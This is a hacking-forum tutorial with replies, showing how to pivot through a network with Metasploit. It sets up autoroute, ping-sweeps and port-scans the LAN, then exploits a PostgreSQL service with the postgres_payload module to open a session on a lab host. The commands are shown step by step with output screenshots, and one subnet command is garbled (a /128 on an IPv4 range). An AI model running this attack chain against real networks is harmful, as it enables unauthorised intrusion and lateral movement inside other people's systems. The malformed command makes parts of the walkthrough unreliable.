Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

pivoting using metasploit // MEGA tutorial

[Image: WICiPAH.png]

introduction

what is pivoting ?
pivoting is a technique moving  inside around a network and gaining access to other devices on LAn using the current foothold



image below
Spoiler (Click to View)
the above image discribes functionality of how pivoting works


-- steps to be taken to accomplish pivoting --

1.adding route to sessions through meterpreter this module enables pivoiting


PHP Code

<?php 
autoroute 

PHP Code

<?php 
autoroute 
-s 192.168.110.1/128 
cidr notation



2.determining devices connected on lan

PHP Code

<?php 
use post/multi/gather/ping_sweep 

pingsweep output

[Image: 0jxYCV7.png]

3.scanning targets using tcp_fast scanner


PHP Code

<?php 
use auxiliary/scanner/portscan/tcp 

PHP Code

<?php 
set RHOSTS followedbyip
/or subnetmask 

scan output

[Image: Lv5vpqL.png]

this machines has some vulnerable services.
listed below
  • portnumber 25 runs vulnerable smtp service
  • portnumber 5432 runs vulnerable postgresql service
  • portnumber 21 runs vulnerable proftpd

4.exploiting vulnerable services to gain control on insecure machine

finding postgresql service version

PHP Code

<?php 
auxiliary
/scanner/postgres/postgres_version 

PHP Code

<?php 
set RHOSTS 192.168.110.170 

PHP Code

<?php 
run 
# to run to scan

output below

[Image: 7RyPTXp.png]


exploiting postgresql using postgres_payload  

PHP Code

<?php 
use exploit/linux/postgres/postgres_payload 

PHP Code

<?php 
set RHOST 192.168.110.170 

PHP Code

<?php 
set ExitOnSession false 

PHP Code

<?php 
exploit 
-j 

[Image: fC7Yp7S.png]

exploit compeleted

session created

[Image: w50H96p.png]

more information on exploit


ending up

some more pivoting tutorials

https://hackforums.net/showthread.php?tid=5426811 created by Qismon


frequent errors faced by users

PHP Code

<?php 
[-] Handler failed to bind to 192.168.110.169:4444:-  -
[-] 
Handler failed to bind to 0.0.0.0:4444:-  -
[-] 
Exploit failed [bad-config]: Rex::BindFailed The address is already in use or unavailable: (0.0.0.0:4444) 

soultion:- lsof -i -P | grep LISTENING
this error is caused by RUBY service failed to restart
-snip-
Great thread, thank you so much for helping the community
You can also use socks4a proxy module in metasploit to create a socks proxy for pivioting. This allows you to use non metasploit applications such as Firefox, burp, etc. Only works for tcp since socks is tcp.
This helped me a lot. Thank you br0.
You're improving the community and teaching many. Thank you for this information.

From what I'm seeing this isn't a shit way of doing things. Great Job!
Very well written definitely a great addition.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by spirited_wolf™Jul 2, 2026 11:46 PM 203 16,607 Jul 2, 2026 11:46 PM
Last Post: djslg
by VipVinceMay 15, 2026 06:38 PM 103 6,565 May 15, 2026 06:38 PM
Last Post: theprox0517
by FlyingfrogJul 15, 2025 06:08 AM 2 257 Jul 15, 2025 06:08 AM
Last Post: DramaKing